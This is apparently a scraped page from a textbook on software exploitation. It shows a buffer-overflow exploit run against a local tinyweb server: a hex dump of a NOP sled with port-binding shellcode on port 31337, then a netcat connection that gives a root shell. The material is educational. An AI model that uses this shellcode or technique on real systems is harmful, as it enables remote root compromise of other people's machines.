26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

When this exploit is compiled and run against a host running tinyweb<br />

server, <strong>the</strong> shellcode listens on port 31337 for a TCP connection. In <strong>the</strong><br />

output below, a program called nc is used to connect to <strong>the</strong> shell. This program<br />

is netcat (nc for short), which works like that cat program but over <strong>the</strong><br />

network. We can’t just use telnet to connect since it automatically terminates<br />

all outgoing lines with '\r\n'. The output <strong>of</strong> this exploit is shown below. The<br />

-vv command-line option passed to netcat is just to make it more verbose.<br />

reader@<strong>hacking</strong>:~/booksrc $ gcc tinyweb_exploit2.c<br />

reader@<strong>hacking</strong>:~/booksrc $ ./a.out 127.0.0.1<br />

Exploit buffer:<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX.<br />

31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX<br />

43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV..<br />

cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR<br />

52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy<br />

f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin..<br />

52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................<br />

0d 0a | ..<br />

reader@<strong>hacking</strong>:~/booksrc $ nc -vv 127.0.0.1 31337<br />

localhost [127.0.0.1] 31337 (?) open<br />

whoami<br />

root<br />

ls -l /etc/passwd<br />

-rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd<br />

Networking 279

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!